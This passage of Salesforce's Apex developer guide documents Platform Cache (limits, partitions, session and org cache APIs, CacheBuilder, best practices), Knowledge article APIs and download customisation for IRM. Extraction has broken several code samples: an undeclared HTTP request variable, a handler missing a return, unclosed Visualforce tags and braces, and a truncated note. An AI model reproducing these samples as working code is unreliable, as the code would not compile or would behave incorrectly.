To test performance improvements by using Platform Cache in your own org, you can request trial cache for your production org.
Enterprise, Unlimited, and Performance editions come with some cache, but adding more cache often provides greater performance.
When your trial request is approved, you can allocate capacity to partitions and experiment with using the cache for different scenarios.
Testing the cache on a trial basis lets you make an informed decision about whether to purchase cache.
For more information about trial cache, see “Request a Platform Cache Trial” in the Salesforce online help.
Platform Cache is also available for purchase. For more information about purchasing cache, see “Purchase Platform Cache” in the
Salesforce online help.
SEE ALSO:
Session Class
Org Class
Partition Class
OrgPartition Class
SessionPartition Class
CacheBuilder Interface
370
Platform Cache Considerations

Review these considerations when working with Platform Cache.
• Cache isn’t persisted. There’s no guarantee against data loss.
• Some or all cache is invalidated when you modify an Apex class in your org.
• Data in the cache isn’t encrypted.
• Org cache supports concurrent reads and writes across multiple simultaneous Apex transactions. For example, a transaction updates
the key PetName with the value Fido. At the same time, another transaction updates the same key with the value Felix. Both
writes succeed, but one of the two values is chosen arbitrarily as the winner, and later transactions read that one value. However,
this arbitrary choice is per key rather than per transaction. For example, suppose one transaction writes PetType="Cat" and
PetName="Felix". Then, at the same moment, another transaction writes PetType="Dog" and PetName="Fido".
In this case, the PetType winning value could be from the first transaction, and the PetName winning value could be from the
second transaction. Subsequent get() calls on those keys would return PetType="Cat" and PetName="Fido".
• Cache misses can happen. We recommend constructing your code to consider a case where previously cached items aren’t found.
Alternatively, use the CacheBuilder Interface, which checks for cache misses.
• Session cache doesn’t support asynchronous Apex. For example, you can’t use future methods or batch Apex with session cache.
• Partitions must adhere to the limits within Salesforce.
• The session cache can store values up to eight hours. The org cache can store values up to 48 hours.

The following limits apply when using Platform Cache.
Edition-specific Limits
The following table shows the amount of Platform Cache available for different types of orgs. To purchase more cache, contact your
Salesforce representative.
Edition Cache Size

Enterprise 10 MB
Unlimited and Performance 30 MB
All others 0 MB
Partition Size Limits
Limit Value
Minimum partition size 5 MB
Session Cache Limits
Limit Value
Maximum size of a single cached item (for put() methods) 100 KB
Maximum local cache size for a partition, per-request1 500 KB
371
Limit Value
Minimum developer-assigned time-to-live 300 seconds (5 minutes)
Maximum developer-assigned time-to-live 28,800 seconds (8 hours)
Maximum session cache time-to-live 28,800 seconds (8 hours)
Org Cache Limits
Limit Value
Maximum size of a single cached item (for put() methods) 100 KB
Maximum local cache size for a partition, per-request1 1,000 KB
Minimum developer-assigned time-to-live 300 seconds (5 minutes)
Maximum developer-assigned time-to-live 172,800 seconds (48 hours)
Default org cache time-to-live 86,400 seconds (24 hours)
1
Local cache is the application server’s in-memory container that the client interacts with during a request.
Platform Cache Partitions

Use Platform Cache partitions to improve the performance of your applications. Partitions allow you to distribute cache space in the way
that works best for your applications. Caching data to designated partitions ensures that it’s not overwritten by other applications or
less-critical data.
To use Platform Cache, first set up partitions using the Platform Cache Partition tool in Setup. Once you’ve set up partitions, you can add,
access, and remove data from them using the Platform Cache Apex API.
To access the Partition tool in Setup, enter Platform Cache in the Quick Find box, then select Platform Cache.
Use the Partition tool to:
• Request trial cache.
• Create, edit, or delete cache partitions.
• Allocate the session cache and org cache capacities of each partition to balance performance across apps.
• View a snapshot of the org’s current cache capacity, breakdown, and partition allocations (in KB or MB).
• View details about each partition.
• Make any partition the default partition.
To use Platform Cache, create at least one partition. Each partition has one session cache and one org cache segment and you can
allocate separate capacity to each segment. Session cache can be used to store data for individual user sessions, and org cache is for
data that any users in an org can access. You can distribute your org’s cache space across any number of partitions. Session and org
cache allocations can be zero, or five or greater, and they must be whole numbers. The sum of all partition allocations, including the
default partition, equals the Platform Cache total allocation. The total allocated capacity of all cache segments must be less than or equal
to the org’s overall capacity.
You can define any partition as the default partition, but you can have only one default partition. When a partition has no allocation,
cache operations (such as get and put) are not invoked, and no error is returned.
372
When performing cache operations within the default partition, you can omit the partition name from the key.
After you set up partitions, you can use Apex code to perform cache operations on a partition. For example, use the
Cache.SessionPartition and Cache.OrgPartition classes to put, retrieve, or remove values on a specific partition’s
cache. Use Cache.Session and Cache.Org to get a partition or perform cache operations by using a fully qualified key.
Packaging Platform Cache Partitions

When packaging an application that uses Platform Cache, add any referenced partitions to your packages explicitly. Partitions aren’t
pulled into packages automatically, as other dependencies are. Partition validation occurs during run time, rather than compile time.
Therefore, if a partition is missing from a package, you don’t receive an error message at compile time.
Note: If platform cache code is intended for a package, don’t use the default partition in the package. Instead, explicitly reference
and package a non-default partition. Any package containing the default partition can’t be deployed.
If you’re working with managed packages, we recommend using Branch Packaging Orgs to share a namespace across partitions. This
feature lets you maintain multiple orgs or partitions as “branches” of your primary org. For information about Branch Packaging Orgs,
contact Salesforce.
SEE ALSO:
Partition Class
OrgPartition Class
Metadata API Developer’s Guide: Platform Cache Partition Type
Platform Cache Internals

Platform Cache uses local cache and a least recently used (LRU) algorithm to improve performance.
Local Cache
Platform Cache uses local cache to improve performance, ensure efficient use of the network, and support atomic transactions. Local
cache is the application server’s in-memory container that the client interacts with during a request. Cache operations don’t interact
with the caching layer directly, but instead interact with local cache.
For session cache, all cached items are loaded into local cache upon first request. All subsequent interactions use the local cache. Similarly,
an org cache get operation retrieves a value from the caching layer and stores it in the local cache. Subsequent requests for this value
are retrieved from the local cache. All mutable operations, such as put and remove, are also performed against the local cache. Upon
successful completion of the request, mutable operations are committed.
Note: Local cache doesn’t support concurrent operations. Mutable operations, such as put and remove, are performed against
the local cache and are only committed when the entire Apex request is successful. Therefore, other simultaneous requests don’t
see the results of the mutable operations.
Atomic Transactions
Each cache operation depends on the Apex request that it runs in. If the entire request fails, all cache operations in that request are rolled
back. Behind the scenes, the use of local cache supports these atomic transactions.
373
Eviction Algorithm
When possible, Platform Cache uses an LRU algorithm to evict keys from the cache. When cache limits are reached, keys are evicted
until the cache is reduced to 100-percent capacity. If session cache is used, the system removes cache evenly from all existing session
cache instances. Local cache also uses an LRU algorithm. When the maximum local cache size for a partition is reached, the least recently
used items are evicted from the local cache.
SEE ALSO:
Store and Retrieve Values from the Session Cache

Use the Cache.Session and Cache.SessionPartition classes to manage values in the session cache. To manage values
in any partition, use the methods in the Cache.Session class. If you’re managing cache values in one partition, use the
Cache.SessionPartition methods instead.
Cache.Session Methods
To store a value in the session cache, call the Cache.Session.put() method and supply a key and value. The key name is in the
format namespace.partition.key. For example, for namespace ns1, partition partition1, and key orderDate, the fully qualified
key name is ns1.partition1.orderDate.
This example stores a DateTime cache value with the key orderDate. Next, the snippet checks if the orderDate key is in the
cache, and if so, retrieves the value from the cache.
// Add a value to the cache
DateTime dt = DateTime.parse('06/16/2015 11:46 AM');
Cache.Session.put('ns1.partition1.orderDate', dt);
if (Cache.Session.contains('ns1.partition1.orderDate')) {
DateTime cachedDt = (DateTime)Cache.Session.get('ns1.partition1.orderDate');
}
To refer to the default partition and the namespace of the invoking class, omit the namespace.partition prefix and specify the
key name.
Cache.Session.put('orderDate', dt);
if (Cache.Session.contains('orderDate')) {
DateTime cachedDt = (DateTime)Cache.Session.get('orderDate');
}
The local prefix refers to the namespace of the current org where the code is running, regardless of whether the org has a namespace
defined. If the org has a namespace defined as ns1, the following two statements are equivalent.
Cache.Session.put('local.myPartition.orderDate', dt);
Cache.Session.put('ns1.myPartition.orderDate', dt);
Note: The local prefix in an installed managed package refers to the namespace of the subscriber org and not the package’s
namespace. The cache put calls are not allowed in a partition that the invoking class doesn’t own.
374
The put() method has multiple versions (or overloads), and each version takes different parameters. For example, to specify that your
cached value can’t be overwritten by another namespace, set the last parameter of this method to true. The following example also
sets the lifetime of the cached value (3600 seconds or 1 hour) and makes the value available to any namespace.
// Add a value to the cache with options
Cache.Session.put('ns1.partition1.totalSum', '500', 3600, Cache.Visibility.ALL, true);
To retrieve a cached value from the session cache, call the Cache.Session.get() method. Because Cache.Session.get()
returns an object, we recommend that you cast the returned value to a specific type.
// Get a cached value
Object obj = Cache.Session.get('ns1.partition1.orderDate');
// Cast return value to a specific data type
DateTime dt2 = (DateTime)obj;
Cache.SessionPartition Methods
If you’re managing cache values in one partition, use the Cache.SessionPartition methods instead. After the partition object
is obtained, the process of adding and retrieving cache values is similar to using the Cache.Session methods. The
Cache.SessionPartition methods are easier to use because you specify only the key name without the namespace and
partition prefix.
First, get the session partition and specify the desired partition. The partition name includes the namespace prefix:
namespace.partition. You can manage the cached values in that partition by adding and retrieving cache values on the obtained
partition object. The following example obtains the partition named myPartition in the myNs namespace. Next, if the cache contains a
value with the key BookTitle, this cache value is retrieved. A new value is added with key orderDate and today’s date.
// Get partition
Cache.SessionPartition sessionPart = Cache.Session.getPartition('myNs.myPartition');
// Retrieve cache value from the partition
if (sessionPart.contains('BookTitle')) {
String cachedTitle = (String)sessionPart.get('BookTitle');
}
// Add cache value to the partition
sessionPart.put('OrderDate', Date.today());
This example calls the get method on a partition in one expression without assigning the partition instance to a variable.
// Or use dot notation to call partition methods
String cachedAuthor =
(String)Cache.Session.getPartition('myNs.myPartition').get('BookAuthor');
SEE ALSO:
Session Class
Store and Retrieve Values from the Org Cache

Use the Cache.Org and Cache.OrgPartition classes to manage values in the org cache. To manage values in any partition,
use the methods in the Cache.Org class. If you’re managing cache values in one partition, use the Cache.OrgPartition
methods instead.
375
Cache.Org Methods
To store a value in the org cache, call the Cache.Org.put() method and supply a key and value. The key name is in the format
namespace.partition.key. For example, for namespace ns1, partition partition1, and key orderDate, the fully qualified key
name is ns1.partition1.orderDate.
This example stores a DateTime cache value with the key orderDate. Next, the snippet checks if the orderDate key is in the
cache, and if so, retrieves the value from the cache.
// Add a value to the cache
DateTime dt = DateTime.parse('06/16/2015 11:46 AM');
Cache.Org.put('ns1.partition1.orderDate', dt);
if (Cache.Org.contains('ns1.partition1.orderDate')) {
DateTime cachedDt = (DateTime)Cache.Org.get('ns1.partition1.orderDate');
}
To refer to the default partition and the namespace of the invoking class, omit the namespace.partition prefix and specify the
key name.
Cache.Org.put('orderDate', dt);
if (Cache.Org.contains('orderDate')) {
DateTime cachedDt = (DateTime)Cache.Org.get('orderDate');
}
The local prefix refers to the namespace of the current org where the code is running. The local prefix refers to the namespace
of the current org where the code is running, regardless of whether the org has a namespace defined. If the org has a namespace defined
as ns1, the following two statements are equivalent.
Cache.Org.put('local.myPartition.orderDate', dt);
Cache.Org.put('ns1.myPartition.orderDate', dt);
Note: The local prefix in an installed managed package refers to the namespace of the subscriber org and not the package’s
The put() method has multiple versions (or overloads), and each version takes different parameters. For example, to specify that your
cached value can’t be overwritten by another namespace, set the last parameter of this method to true. The following example also
sets the lifetime of the cached value (3600 seconds or 1 hour) and makes the value available to any namespace.
// Add a value to the cache with options
Cache.Org.put('ns1.partition1.totalSum', '500', 3600, Cache.Visibility.ALL, true);
To retrieve a cached value from the org cache, call the Cache.Org.get() method. Because Cache.Org.get() returns an
object, we recommend that you cast the returned value to a specific type.
Object obj = Cache.Org.get('ns1.partition1.orderDate');
Cache.OrgPartition Methods
If you’re managing cache values in one partition, use the Cache.OrgPartition methods instead. After the partition object is
obtained, the process of adding and retrieving cache values is similar to using the Cache.Org methods. The Cache.OrgPartition
methods are easier to use because you specify only the key name without the namespace and partition prefix.
376
First, get the org partition and specify the desired partition. The partition name includes the namespace prefix:
namespace.partition. You can manage the cached values in that partition by adding and retrieving cache values on the obtained
partition object. The following example obtains the partition named myPartition in the myNs namespace. If the cache contains a value
with the key BookTitle, this cache value is retrieved. A new value is added with key orderDate and today’s date.
// Get partition
Cache.OrgPartition orgPart = Cache.Org.getPartition('myNs.myPartition');
if (orgPart.contains('BookTitle')) {
String cachedTitle = (String)orgPart.get('BookTitle');
}
orgPart.put('OrderDate', Date.today());
This example calls the get method on a partition in one expression without assigning the partition instance to a variable.
String cachedAuthor = (String)Cache.Org.getPartition('myNs.myPartition').get('BookAuthor');
SEE ALSO:
Org Class
OrgPartition Class
Use a Visualforce Global Variable for the Platform Cache

You can access cached values stored in the session or org cache from a Visualforce page with global variables.
You can use either the $Cache.Session or $Cache.Org global variable. Include the global variable’s fully qualified key name
with the namespace and partition name.
This output text component retrieves a session cache value using the global variable’s namespace, partition, and key.
<apex:outputText value="{!$Cache.Session.myNamespace.myPartition.key1}"/>
This example is similar but uses the $Cache.Org global variable to retrieve a value from the org cache.
<apex:outputText value="{!$Cache.Org.myNamespace.myPartition.key1}"/>
Note: The remaining examples show how to access the session cache using the $Cache.Session global variable. The
equivalent org cache examples are the same except that you use the $Cache.Org global variable instead.
Unlike with Apex methods, you can’t omit the myNamespace.myPartition prefix to reference the default partition in the org.
If a namespace isn’t defined for the org, use local to refer to the org’s namespace.
<apex:outputText value="{!$Cache.Session.local.myPartition.key1}"/>
The cached value is sometimes a data structure that has properties or methods, like an Apex list or a custom class. In this case, you can
access the properties in the $Cache.Session or $Cache.Org expression by using dot notation. For example, this markup
invokes the List.size() Apex method if the value of numbersList is declared as a List.
<apex:outputText value="{!$Cache.Session.local.myPartition.numbersList.size}"/>
This example accesses the value property on the myData cache value that is declared as a custom class.
<apex:outputText value="{!$Cache.Session.local.myPartition.myData.value}"/>
377
If you’re using CacheBuilder, qualify the key name with the class that implements the CacheBuilder interface and the literal
string _B_, in addition to the namespace and partition name. In this example, the class that implements CacheBuilder is called
CacheBuilderImpl.
<apex:outputText value="{!$Cache.Session.myNamespace.myPartition.CacheBuilderImpl_B_key1}"/>

A Platform Cache best practice is to ensure that your Apex code handles cache misses by testing for cache requests that return null. You
can write this code yourself. Or, you can use the Cache.CacheBuilder interface, which makes it easy to safely store and retrieve
values to a session or org cache.
Rather than just declaring what you want to cache in your Apex class, create an inner class that implements the CacheBuilder
interface. The interface has a single method, doLoad(String var), which you override by coding the logic that builds the cached
value based on the doLoad(String var) method’s argument.
To retrieve a value that you’ve cached with CacheBuilder, you don’t call the doLoad(String var) method directly. Instead,
it’s called indirectly by Salesforce the first time you reference the class that implements CacheBuilder. Subsequent calls get the
value from the cache, as long as the value exists. If the value doesn’t exist, the doLoad(String var) method is called again to
build the value and then return it. As a result, you don’t execute put() methods when using the CacheBuilder interface. And
because the doLoad(String var) method checks for cache misses, you don’t have to write the code to check for nulls yourself.
Let’s look at an example. Suppose you’re coding an Apex controller class for a Visualforce page. In the Apex class, you often run a SOQL
query that looks up a User record based on a user ID. SOQL queries can be expensive, and Salesforce user records don’t typically change
much, so the User information is a good candidate for CacheBuilder.
In your controller class, create an inner class that implements the CacheBuilder interface and overrides the doLoad(String
var) method. Then add the SOQL code to the doLoad(String var) method with the user ID as its parameter.
class UserInfoCache implements Cache.CacheBuilder {

public Object doLoad(String userid) {
User u = (User)[SELECT Id, IsActive, username FROM User WHERE id =: userid];
return u;
}
}
To retrieve the User record from the org cache, execute the Org.get(cacheBuilder, key) method, passing it the
UserInfoCache class and the user ID. Similarly, use Session.get(cacheBuilder, key) and
Partition.get(cacheBuilder, key) to retrieve the value from the session or partition cache, respectively.
User batman = (User) Cache.Org.get(UserInfoCache.class, ‘00541000000ek4c');
When you run the get() method, Salesforce searches the cache using a unique key that consists of the strings 00541000000ek4c and
UserInfoCache. If Salesforce finds a cached value, it returns it. For this example, the cached value is a User record associated with the ID
00541000000ek4c. If Salesforce doesn’t find a value, it executes the doLoad(String var) method of UserInfoCache again
(and reruns the SOQL query), caches the User record, and then returns it.
CacheBuilder Coding Requirements

Follow these requirements when you code a class that implements the CacheBuilder interface.
• The doLoad(String var) method must take a String parameter, even if you do not use the parameter in the method’s
code. Salesforce uses the string, along with the class name, to build a unique key for the cached value.
• The doLoad(String var) method must always return a value. It can never return null. The returned value can be of any type
which you then cast to the appropriate type.
378
• The class that implements CacheBuilder must be non-static because Salesforce instantiates a new instance of the class and
runs the doLoad(String var) method to create the cached value.
SEE ALSO:
Platform Cache Best Practices

Platform Cache can greatly improve performance in your applications. However, it’s important to follow these guidelines to get the best
cache performance. In general, it’s more efficient to cache a few large items than to cache many small items separately. Also be mindful
of cache limits to prevent unexpected cache evictions.
Evaluate the Performance Impact

To test whether Platform Cache improves performance in your application, calculate the elapsed time with and without using the cache.
Don’t rely on the Apex debug log timestamp for the execution time. Use the System.currentTimeMillis() method instead.
For example, first call System.currentTimeMillis() to get the start time. Perform application logic, fetching the data from
either the cache or another data source. Then calculate the elapsed time.
long startTime = System.currentTimeMillis();
// Your code here
long elapsedTime = System.currentTimeMillis() - startTime;
System.debug(elapsedTime);
Handle Cache Misses Gracefully

Ensure that your code handles cache misses by testing cache requests that return null. To help with debugging, add logging information
for cache operations.
Alternatively, use the Cache.CacheBuilder interface, which checks for cache misses.
public class CacheManager {
private Boolean cacheEnabled;
public void CacheManager() {

cacheEnabled = true;
}
public Boolean toggleEnabled() { // Use for testing misses

cacheEnabled = !cacheEnabled;
return cacheEnabled;
}
public Object get(String key) {

if (!cacheEnabled) return null;
Object value = Cache.Session.get(key);
if (value != null) System.debug(LoggingLevel.DEBUG, 'Hit for key ' + key);
return value;
}
public void put(String key, Object value, Integer ttl) {

if (!cacheEnabled) return;
Cache.Session.put(key, value, ttl);
379
// for redundancy, save to DB

System.debug(LoggingLevel.DEBUG, 'put() for key ' + key);
}
public Boolean remove(String key) {

if (!cacheEnabled) return false;
Boolean removed = Cache.Session.remove(key);
if (removed) {
System.debug(LoggingLevel.DEBUG, 'Removed key ' + key);
return true;
} else return false;
}
Group Cache Requests

When possible, group cache requests, but be aware of caching limits. To help improve performance, perform cache operations on a list
of keys rather than on individual keys. For example, if you know which keys are necessary to invoke a Visualforce page or perform a task
in Apex, retrieve all keys at once. To retrieve multiple keys, call get(keys) in an initialization method.
Note: Aggregate functions are available only for the Cache.Org class.
Cache Larger Items

It’s more efficient to cache a few large items than to cache many small items separately. Caching many small items decreases performance
and increases overhead, including total serialization size, serialization time, cache commit time, and cache capacity usage.
Don’t add many small items to the Platform Cache within one request. Instead, wrap data in larger items, such as lists. If a list is large,
consider breaking it into multiple items. Here’s an example of what to avoid.
// Don't do this!
public class MyController {
public void initCache() {

List<Account> accts = [SELECT Id, Name, Phone, Industry, Description FROM
Account limit 1000];
for (Integer i=0; i<accts.size(); i++) {
Cache.Org.put('acct' + i, accts.get(i));
}
}
}
Instead, wrap the data in a few reasonably large items without exceeding the limit on the size of single cached items.
// Do this instead.
public class MyController {
public void initCache() {

List<Account> accts = [SELECT Id, Name, Phone, Industry, Description FROM
Account limit 1000];
Cache.Org.put('accts', accts);
380
}
}
Another good example of caching larger items is to encapsulate data in an Apex class. For example, you can create a class that wraps
session data, and cache an instance of the class rather than the individual data items. Caching the class instance improves overall
serialization size and performance.
Be Aware of Cache Limits

When you add items to the cache, be aware of the following limits.
Cache Partition Size Limit
When the cache partition limit is reached, keys are evicted until the cache is reduced to 100% capacity. Platform Cache uses a least
recently used (LRU) algorithm to evict keys from the cache.
Local Cache Size Limit
When you add items to the cache, make sure that you are not exceeding local cache limits within a request. The local cache limit
for the session cache is 500 KB and 1,000 KB for the org cache. If you exceed the local cache limit, items can be evicted from the local
cache before the request has been committed. This eviction can cause unexpected misses and long serialization time and can waste
resources.
Single Cached Item Size Limit
The size of individual cached items is limited to 100 KB. If the serialized size of an item exceeds this limit, the
Cache.ItemSizeLimitExceededException exception is thrown. It’s a good practice to catch this exception and reduce
the size of the cached item.
Use the Cache Diagnostics Page (Sparingly)

To determine how much of the cache is used, check the Platform Cache Diagnostics page. To reach the Diagnostics page:
1. Make sure that Cache Diagnostics is enabled for the user (on the User Detail page).
2. On the Platform Cache Partition page, click the partition name.
3. Click the link to the Diagnostics page for the partition.
The Diagnostics page provides valuable information, including the capacity usage, keys, and serialized and compressed sizes of the
cached items. The session cache and org cache have separate diagnostics pages. The session cache diagnostics are per session, and they
don’t provide insight across all active sessions.
Note: Generating the diagnostics page gathers all partition-related information and is an expensive operation. Use it sparingly.
Minimize Expensive Operations

Consider the following guidelines to minimize expensive operations.
• Use Cache.Org.getKeys() and Cache.Org.getCapacity() sparingly. Both methods are expensive, because they
traverse all partition-related information looking for or making calculations for a given partition.
Note: Cache.Session usage is not expensive.
• Avoid calling the contains(key) method followed by the get(key) method. If you intend to use the key value, simply call
the get(key) method and make sure that the value is not equal to null.
381
• Clear the cache only when necessary. Clearing the cache traverses all partition-related cache space, which is expensive. After clearing
the cache, your application will likely regenerate the cache by invoking database queries and computations. This regeneration can
be complex and extensive and impact your application’s performance.
SEE ALSO:
Salesforce Knowledge
Salesforce Knowledge is a knowledge base where users can easily create and manage content, known as articles, and quickly find and
view the articles they need.
Use Apex to access these Salesforce Knowledge features:
IN THIS SECTION:
Knowledge Management
Users can write, publish, archive, and manage articles using Apex in addition to the Salesforce user interface.
Promoted Search Terms
Promoted search terms are useful for promoting a Salesforce Knowledge article that you know is commonly used to resolve a support
issue when an end user’s search contains certain keywords. Users can promote an article in search results by associating keywords
with the article in Apex (by using the SearchPromotionRule sObject) in addition to the Salesforce user interface.
Suggest Salesforce Knowledge Articles
Provide users with shortcuts to navigate to relevant articles before they perform a search. Call Search.suggest(searchText,
objectType, options) to return a list of Salesforce Knowledge articles whose titles match a user’s search query string.
Knowledge Management
Users can write, publish, archive, and manage articles using Apex in addition to the Salesforce user interface.
Use the methods in the KbManagement.PublishingService class to manage the following parts of the lifecycle of an article
and its translations:
• Publishing
• Updating
• Retrieving
• Deleting
• Submitting for translation
• Setting a translation to complete or incomplete status
• Archiving
• Assigning review tasks for draft articles or translations
Note: Date values are based on GMT.
382
To use the methods in this class, you must enable Salesforce Knowledge. See Salesforce Knowledge Implementation Guide for more
information on setting up Salesforce Knowledge.
SEE ALSO:
PublishingService Class
Promoted Search Terms

Promoted search terms are useful for promoting a Salesforce Knowledge article that you know is commonly used to resolve a support
issue when an end user’s search contains certain keywords. Users can promote an article in search results by associating keywords with
the article in Apex (by using the SearchPromotionRule sObject) in addition to the Salesforce user interface.
Articles must be in published status (with a PublishSatus field value of Online) for you to manage their promoted terms.
Example: This code sample shows how to add a search promotion rule. This sample performs a query to get published articles
of type MyArticle__kav. Next, the sample creates a SearchPromotionRule sObject to promote articles that contain the word
“Salesforce” and assigns the first returned article to it. Finally, the sample inserts this new sObject.
// Identify the article to promote in search results
List<MyArticle__kav> articles = [SELECT Id FROM MyArticle__kav WHERE
PublishStatus='Online' AND Language='en_US' AND Id='Article Id'];
// Define the promotion rule

SearchPromotionRule s = new SearchPromotionRule(
Query='Salesforce',
PromotedEntity=articles[0]);
// Save the new rule

insert s;
To perform DML operations on the SearchPromotionRule sObject, you must enable Salesforce Knowledge.
Suggest Salesforce Knowledge Articles

Provide users with shortcuts to navigate to relevant articles before they perform a search. Call Search.suggest(searchText,
objectType, options) to return a list of Salesforce Knowledge articles whose titles match a user’s search query string.
To return suggestions, enable Salesforce Knowledge. See Salesforce Knowledge Implementation Guide for more information on setting
up Salesforce Knowledge.
This Visualforce page has an input field for searching articles or accounts. When the user presses the Suggest button, suggested records
are displayed. If there are more than five results, the More results button appears. To display more results, click the button.
<apex:page controller="SuggestionDemoController">
<apex:form >
<apex:pageBlock mode="edit" id="block">
<h1>Article and Record Suggestions</h1>
<apex:pageBlockSection >
<apex:pageBlockSectionItem >
<apex:outputPanel >
<apex:panelGroup >
<apex:selectList value="{!objectType}" size="1">
<apex:selectOption itemLabel="Account" itemValue="Account"
/>
383
<apex:selectOption itemLabel="Article"
itemValue="KnowledgeArticleVersion" />
<apex:actionSupport event="onchange" rerender="block"/>
</apex:selectList>
</apex:panelGroup>
<apex:panelGroup >
<apex:inputHidden id="nbResult" value="{!nbResult}" />
<apex:outputLabel for="searchText">Search Text</apex:outputLabel>

<apex:inputText id="searchText" value="{!searchText}"/>
<apex:commandButton id="suggestButton" value="Suggest"
action="{!doSuggest}"
rerender="block"/>
<apex:commandButton id="suggestMoreButton" value="More
results..." action="{!doSuggestMore}"
rerender="block" style="{!IF(hasMoreResults,
'', 'display: none;')}"/>
</apex:panelGroup>
</apex:outputPanel>
</apex:pageBlockSectionItem>
</apex:pageBlockSection>
<apex:pageBlockSection title="Results" id="results" columns="1"
rendered="{!results.size>0}">
<apex:dataList value="{!results}" var="w" type="1">
Id: {!w.SObject['Id']}
<br />
<apex:panelGroup rendered="{!objectType=='KnowledgeArticleVersion'}">
Title: {!w.SObject['Title']}
</apex:panelGroup>
<apex:panelGroup rendered="{!objectType!='KnowledgeArticleVersion'}">
Name: {!w.SObject['Name']}
</apex:panelGroup>
<hr />
</apex:dataList>
<apex:pageBlockSection id="noresults" rendered="{!results.size==0}">
No results
<apex:pageBlockSection rendered="{!LEN(searchText)>0}">
Search text: {!searchText}
</apex:pageBlock>
</apex:form>
</apex:page>
This code is the custom Visualforce controller for the page:

public class SuggestionDemoController {
public String searchText;

public String language = 'en_US';
public String objectType = 'Account';
384
public Integer nbResult = 5;

public Transient Search.SuggestionResults suggestionResults;
public String getSearchText() {

return searchText;
}
public void setSearchText(String s) {

searchText = s;
}
public Integer getNbResult() {

return nbResult;
}
public void setNbResult(Integer n) {

nbResult = n;
}
public String getLanguage() {

return language;
}
public void setLanguage(String language) {

this.language = language;
}
public String getObjectType() {

return objectType;
}
public void setObjectType(String objectType) {

this.objectType = objectType;
}
public List<Search.SuggestionResult> getResults() {

if (suggestionResults == null) {
return new List<Search.SuggestionResult>();
}
return suggestionResults.getSuggestionResults();
}
public Boolean getHasMoreResults() {

if (suggestionResults == null) {
return false;
}
return suggestionResults.hasMoreResults();
}
public PageReference doSuggest() {

nbResult = 5;
suggestAccounts();
return null;
385
public PageReference doSuggestMore() {

nbResult += 5;
suggestAccounts();
return null;
}
private void suggestAccounts() {

Search.SuggestionOption options = new Search.SuggestionOption();
Search.KnowledgeSuggestionFilter filters = new Search.KnowledgeSuggestionFilter();
if (objectType=='KnowledgeArticleVersion') {
filters.setLanguage(language);
filters.setPublishStatus('Online');
}
options.setFilter(filters);
options.setLimit(nbResult);
suggestionResults = Search.suggest(searchText, objectType, options);
}
}
SEE ALSO:
suggest(searchQuery, sObjectType, suggestions)
Salesforce Files
Use Apex to customize the behavior of Salesforce Files.
IN THIS SECTION:
Customize File Downloads
You can customize the behavior of files when users attempt to download them using an Apex callback. ContentVersion supports
modified file behavior, such as antivirus scanning and information rights management (IRM), after the download operation. File
download customization is available in API version 39.0 and later.
Custom File Download Examples
You can use Apex to customize the behavior of files upon attempted download. These examples assume that only one file is being
downloaded. File download customization is available in API version 39.0 and later.
Customize File Downloads

You can customize the behavior of files when users attempt to download them using an Apex callback. ContentVersion supports modified
file behavior, such as antivirus scanning and information rights management (IRM), after the download operation. File download
customization is available in API version 39.0 and later.
Customization code runs before download and determines whether the download can proceed.
The Sfc namespace contains Apex objects for customizing the behavior of Salesforce Files before they are downloaded.
ContentDownloadHandlerFactory provides an interface for customizing file downloads. The ContentDownloadHandler
class defines values related to whether download is allowed, and what to do otherwise. The ContentDownloadContext enum
is the context in which the download takes place.
386
You can use Apex to customize multiple-file downloads from the Content tab in Salesforce Classic. The Apex function parameter List<ID>
handles a list of ContentVersion IDs.
Customization also works on content packs and content deliveries. List<ID> is a list of the version IDs in a ContentPack. Setting
isDownloadAllowed = false on a multi-file or ContentPack download causes the entire download to fail. You can pass a list
of the problem files back to an error page via URL parameters in redirectUrl.
Example:
• Prevent a file from downloading based on the user profile, device being used, or file type and size.
• Apply IRM control to track information, such as the number of times a file has been downloaded.
• Flag suspicious files before download, and redirect them for antivirus scanning.
Flow Execution
When a download is triggered either from the UI, Connect API, or an sObject call retrieving ContentVersion.VersionData,
implementations of the Sfc.ContentDownloadHandlerFactory are looked up. If no implementation is found, download
proceeds. Otherwise, the user is redirected to what has been defined in the ContentDownloadHandler#redirectUrl
property. If several implementations are found, they are cascade handled (ordered by name) and the first one for which the download
isn’t allowed is considered.
Note: If a SOAP API operation triggers a download, it goes through the Apex class that checks whether the download is allowed.
If a download isn’t allowed, a redirection can’t be handled, and an exception containing an error message is returned instead.
Custom File Download Examples

You can use Apex to customize the behavior of files upon attempted download. These examples assume that only one file is being
downloaded. File download customization is available in API version 39.0 and later.
Example: This example demonstrates a system that requires downloads to go through IRM control for some users. For a Modify
All Data (MAD) user who’s allowed to download files, and whose user ID is 005xx:
// Allow customization of the content Download experience
public class ContentDownloadHandlerFactoryImpl implements
Sfc.ContentDownloadHandlerFactory {
public Sfc.ContentDownloadHandler getContentDownloadHandler(List<ID> ids,

Sfc.ContentDownloadContext context) {
Sfc.ContentDownloadHandler contentDownloadHandler = new Sfc.ContentDownloadHandler();
if(UserInfo.getUserId() == '005xx') {
contentDownloadHandler.isDownloadAllowed = true;
return contentDownloadHandler;
}
contentDownloadHandler.isDownloadAllowed = false;
contentDownloadHandler.downloadErrorMessage = 'This file needs to be IRM controlled.
You're not allowed to download it';
contentDownloadHandler.redirectUrl ='/apex/IRMControl?Id='+ids.get(0);
}
}
387
Note: To refer to a MAD user profile, you can use UserInfo.getProfileId() instead of
UserInfo.getUserId().
In this example, IRMControl is a Visualforce page created for displaying a link to download a file from the IRM system. You
need a controller for this page that calls your IRM system. As it’s processing the file, it gives an endpoint to download the file when
it’s controlled. Your IRM system uses the sObject API to get the VersionData of this ContentVersion. Therefore, the IRM
system needs the VersionID and must retrieve the VersionData using the MAD user.
Your IRM system is at http://irmsystem and is expecting the VersionID as a query parameter. The IRM system returns a
JSON response with the download endpoint in a downloadEndpoint value.
public class IRMController {
private String downloadEndpoint;
public IRMController() {
downloadEndpoint = '';
}
public void applyIrmControl() {

String versionId = ApexPages.currentPage().getParameters().get('id');
Http h = new Http();
//Instantiate a new HTTP request, specify the method (GET) as well as the endpoint

req.setEndpoint('http://irmsystem?versionId=' + versionId);
// Send the request, and retrieve a response

HttpResponse r = h.send(req);
JSONParser parser = JSON.createParser(r.getBody());
while (parser.nextToken() != null) {
if ((parser.getCurrentToken() == JSONToken.FIELD_NAME) &&
(parser.getText() == 'downloadEndpoint')) {
parser.nextToken();
downloadEndpoint = parser.getText();
break;
}
}
}
public String getDownloadEndpoint() {

return downloadEndpoint;
}
